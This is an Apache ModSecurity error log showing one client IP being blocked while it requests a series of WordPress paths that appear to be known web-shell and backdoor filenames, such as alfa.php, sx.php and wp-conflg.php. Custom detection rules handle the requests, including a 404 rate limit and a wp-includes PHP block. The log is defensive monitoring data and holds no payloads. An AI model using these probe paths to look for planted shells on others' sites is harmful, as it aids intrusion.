[Sun Dec 21 21:43:33.607499 2025] [:error] [pid 59070:tid 59145] [client 104.208.116.65:12103] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aUf5hX3dhXne9KX1kgJXpQAAAJE"]
[Sun Dec 21 21:43:33.870484 2025] [:error] [pid 30183:tid 30199] [client 104.208.116.65:12108] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/manager.php"] [unique_id "aUf5heCmP2zCzk_WZcUWdQAAAQ4"]
[Sun Dec 21 21:43:34.133039 2025] [:error] [pid 30183:tid 30202] [client 104.208.116.65:12165] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/manager.php"] [unique_id "aUf5huCmP2zCzk_WZcUWdwAAARE"]
[Sun Dec 21 21:43:34.402501 2025] [:error] [pid 59068:tid 59124] [client 104.208.116.65:12172] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/manager.php"] [unique_id "aUf5hhmLyLqWUlrjwyecqgAAAFc"]
[Sun Dec 21 21:43:34.675090 2025] [:error] [pid 59067:tid 59085] [client 104.208.116.65:12136] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/manager.php"] [unique_id "aUf5hstpsOP1NfIK_qJvoAAAAAs"]
[Sun Dec 21 21:43:34.946303 2025] [:error] [pid 59068:tid 59123] [client 104.208.116.65:12067] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/item.php"] [unique_id "aUf5hhmLyLqWUlrjwyecrQAAAFY"]
[Sun Dec 21 21:43:35.299063 2025] [:error] [pid 59067:tid 59088] [client 104.208.116.65:12197] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/item.php"] [unique_id "aUf5h8tpsOP1NfIK_qJvowAAAA4"]
[Sun Dec 21 21:43:35.604107 2025] [:error] [pid 59067:tid 59082] [client 104.208.116.65:12097] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/item.php"] [unique_id "aUf5h8tpsOP1NfIK_qJvpwAAAAg"]
[Sun Dec 21 21:43:35.894865 2025] [:error] [pid 30183:tid 30201] [client 104.208.116.65:12104] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/item.php"] [unique_id "aUf5h-CmP2zCzk_WZcUWfQAAARA"]
[Sun Dec 21 21:43:36.188088 2025] [:error] [pid 30183:tid 30190] [client 104.208.116.65:12202] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/404.php"] [unique_id "aUf5iOCmP2zCzk_WZcUWfwAAAQU"]
[Sun Dec 21 21:43:36.462008 2025] [:error] [pid 30183:tid 30189] [client 104.208.116.65:12117] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/404.php"] [unique_id "aUf5iOCmP2zCzk_WZcUWggAAAQQ"]
[Sun Dec 21 21:43:36.734047 2025] [:error] [pid 59070:tid 59147] [client 104.208.116.65:12187] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/404.php"] [unique_id "aUf5iH3dhXne9KX1kgJXrAAAAJM"]
[Sun Dec 21 21:43:37.069238 2025] [:error] [pid 59068:tid 59115] [client 104.208.116.65:12148] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/404.php"] [unique_id "aUf5iRmLyLqWUlrjwyecrwAAAE4"]
[Sun Dec 21 21:43:37.482260 2025] [:error] [pid 59067:tid 59094] [client 104.208.116.65:12064] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aUf5ictpsOP1NfIK_qJvrQAAABQ"]
[Sun Dec 21 21:43:37.790283 2025] [:error] [pid 59158:tid 59161] [client 104.208.116.65:12181] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aUf5iY7NvyNF8ab5VgVNKQAAAME"]
[Sun Dec 21 21:43:38.056236 2025] [:error] [pid 59067:tid 59084] [client 104.208.116.65:12132] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aUf5istpsOP1NfIK_qJvrwAAAAo"]
[Sun Dec 21 21:43:38.353520 2025] [:error] [pid 59068:tid 59121] [client 104.208.116.65:12155] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aUf5ihmLyLqWUlrjwyecsgAAAFQ"]
[Sun Dec 21 21:43:38.648989 2025] [:error] [pid 59068:tid 59114] [client 104.208.116.65:12262] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sx.php"] [unique_id "aUf5ihmLyLqWUlrjwyectAAAAE0"]
[Sun Dec 21 21:43:38.953121 2025] [:error] [pid 30183:tid 30191] [client 104.208.116.65:12161] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sx.php"] [unique_id "aUf5iuCmP2zCzk_WZcUWigAAAQY"]
[Sun Dec 21 21:43:39.510138 2025] [:error] [pid 30183:tid 30195] [client 104.208.116.65:12272] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sx.php"] [unique_id "aUf5i-CmP2zCzk_WZcUWjAAAAQo"]
[Sun Dec 21 21:43:39.789979 2025] [:error] [pid 42755:tid 42761] [client 104.208.116.65:12134] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sx.php"] [unique_id "aUf5i-W0XvxgXMTJJbvahQAAAUQ"]
[Sun Dec 21 21:43:40.085231 2025] [:error] [pid 42755:tid 42765] [client 104.208.116.65:12116] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aUf5jOW0XvxgXMTJJbvahgAAAUg"]
[Sun Dec 21 21:43:40.339259 2025] [:error] [pid 42755:tid 42757] [client 104.208.116.65:12140] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aUf5jOW0XvxgXMTJJbvahwAAAUA"]
[Sun Dec 21 21:43:40.630217 2025] [:error] [pid 42755:tid 42778] [client 104.208.116.65:12184] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aUf5jOW0XvxgXMTJJbvajAAAAVU"]
[Sun Dec 21 21:43:40.886452 2025] [:error] [pid 42755:tid 42773] [client 104.208.116.65:12102] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aUf5jOW0XvxgXMTJJbvajQAAAVA"]
[Sun Dec 21 21:43:41.196058 2025] [:error] [pid 42755:tid 42772] [client 104.208.116.65:12263] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "aUf5jeW0XvxgXMTJJbvajwAAAU8"]
[Sun Dec 21 21:43:41.459596 2025] [:error] [pid 42755:tid 42770] [client 104.208.116.65:12053] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "aUf5jeW0XvxgXMTJJbvakQAAAU0"]
[Sun Dec 21 21:43:41.711174 2025] [:error] [pid 42755:tid 42763] [client 104.208.116.65:11986] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "aUf5jeW0XvxgXMTJJbvakwAAAUY"]
[Sun Dec 21 21:43:42.029400 2025] [:error] [pid 42755:tid 42768] [client 104.208.116.65:12189] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "aUf5juW0XvxgXMTJJbvalQAAAUs"]
[Sun Dec 21 21:43:42.326480 2025] [:error] [pid 30183:tid 30207] [client 104.208.116.65:12144] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-trackback.php"] [unique_id "aUf5juCmP2zCzk_WZcUWjQAAARY"]
[Sun Dec 21 21:43:42.659284 2025] [:error] [pid 30183:tid 30198] [client 104.208.116.65:12043] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-trackback.php"] [unique_id "aUf5juCmP2zCzk_WZcUWjwAAAQ0"]
[Sun Dec 21 21:43:42.997432 2025] [:error] [pid 59067:tid 59095] [client 104.208.116.65:12165] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-trackback.php"] [unique_id "aUf5jstpsOP1NfIK_qJvtwAAABU"]
[Sun Dec 21 21:43:43.389746 2025] [:error] [pid 30183:tid 30200] [client 104.208.116.65:12062] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-trackback.php"] [unique_id "aUf5j-CmP2zCzk_WZcUWkQAAAQ8"]
[Sun Dec 21 21:43:43.688664 2025] [:error] [pid 42755:tid 42771] [client 104.208.116.65:12128] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/index.php"] [unique_id "aUf5j-W0XvxgXMTJJbvamQAAAU4"]
[Sun Dec 21 21:43:43.929498 2025] [:error] [pid 59158:tid 59160] [client 104.208.116.65:12075] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/index.php"] [unique_id "aUf5j47NvyNF8ab5VgVNLAAAAMA"]
[Sun Dec 21 21:43:44.222369 2025] [:error] [pid 42755:tid 42778] [client 104.208.116.65:33353] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/index.php"] [unique_id "aUf5kOW0XvxgXMTJJbvamwAAAVU"]
[Sun Dec 21 21:43:44.530592 2025] [:error] [pid 42755:tid 42762] [client 104.208.116.65:12052] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/index.php"] [unique_id "aUf5kOW0XvxgXMTJJbvanAAAAUU"]
[Sun Dec 21 21:43:44.888657 2025] [:error] [pid 59068:tid 59102] [client 104.208.116.65:12065] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aUf5kBmLyLqWUlrjwyecuQAAAEE"]
[Sun Dec 21 21:43:45.134460 2025] [:error] [pid 59067:tid 59075] [client 104.208.116.65:12199] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aUf5kctpsOP1NfIK_qJvwAAAAAE"]
[Sun Dec 21 21:43:45.540390 2025] [:error] [pid 59158:tid 59183] [client 104.208.116.65:12035] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aUf5kY7NvyNF8ab5VgVNMwAAANc"]
[Sun Dec 21 21:43:45.813365 2025] [:error] [pid 59067:tid 59087] [client 104.208.116.65:12271] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aUf5kctpsOP1NfIK_qJvyQAAAA0"]
[Sun Dec 21 21:43:46.089065 2025] [:error] [pid 42755:tid 42761] [client 104.208.116.65:12034] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/about.php"] [unique_id "aUf5kuW0XvxgXMTJJbvangAAAUQ"]
[Sun Dec 21 21:43:46.415418 2025] [:error] [pid 59158:tid 59177] [client 104.208.116.65:34500] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/about.php"] [unique_id "aUf5ko7NvyNF8ab5VgVNNAAAANE"]
[Sun Dec 21 21:43:46.693760 2025] [:error] [pid 42755:tid 42777] [client 104.208.116.65:12113] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/about.php"] [unique_id "aUf5kuW0XvxgXMTJJbvaoQAAAVQ"]
[Sun Dec 21 21:43:47.033769 2025] [:error] [pid 42755:tid 42772] [client 104.208.116.65:12105] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/about.php"] [unique_id "aUf5k-W0XvxgXMTJJbvaogAAAU8"]
[Sun Dec 21 21:43:47.554621 2025] [:error] [pid 59068:tid 59116] [client 104.208.116.65:33401] [client 104.208.116.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aUf5kxmLyLqWUlrjwyecvQAAAE8"]
[Sun Dec 21 21:43:47.815432 2025] [:error] [pid 59068:tid 59106] [client 104.208.116.65:34502] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css/index.php"] [unique_id "aUf5kxmLyLqWUlrjwyecvgAAAEU"]
[Sun Dec 21 21:43:48.067451 2025] [:error] [pid 59067:tid 59097] [client 104.208.116.65:12098] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css/index.php"] [unique_id "aUf5lMtpsOP1NfIK_qJv1AAAABc"]
[Sun Dec 21 21:43:48.355464 2025] [:error] [pid 59158:tid 59161] [client 104.208.116.65:12182] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css/index.php"] [unique_id "aUf5lI7NvyNF8ab5VgVNOAAAAME"]
[Sun Dec 21 21:43:48.703777 2025] [:error] [pid 59158:tid 59179] [client 104.208.116.65:12114] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css/index.php"] [unique_id "aUf5lI7NvyNF8ab5VgVNOgAAANM"]
[Sun Dec 21 21:43:48.973715 2025] [:error] [pid 42755:tid 42768] [client 104.208.116.65:12159] [client 104.208.116.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/wp-login.php"] [unique_id "aUf5lOW0XvxgXMTJJbvaqQAAAUs"]
[Sun Dec 21 21:43:49.419286 2025] [:error] [pid 59158:tid 59173] [client 104.208.116.65:12138] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aUf5lY7NvyNF8ab5VgVNPAAAAM0"]
[Sun Dec 21 21:43:49.778964 2025] [:error] [pid 30183:tid 30189] [client 104.208.116.65:12235] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aUf5leCmP2zCzk_WZcUWlQAAAQQ"]
[Sun Dec 21 21:43:50.099506 2025] [:error] [pid 42755:tid 42778] [client 104.208.116.65:12109] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aUf5luW0XvxgXMTJJbvargAAAVU"]
[Sun Dec 21 21:43:50.417052 2025] [:error] [pid 59068:tid 59102] [client 104.208.116.65:12236] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aUf5lhmLyLqWUlrjwyeczgAAAEE"]
[Sun Dec 21 21:43:50.687069 2025] [:error] [pid 42755:tid 42759] [client 104.208.116.65:12144] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aUf5luW0XvxgXMTJJbvarwAAAUI"]
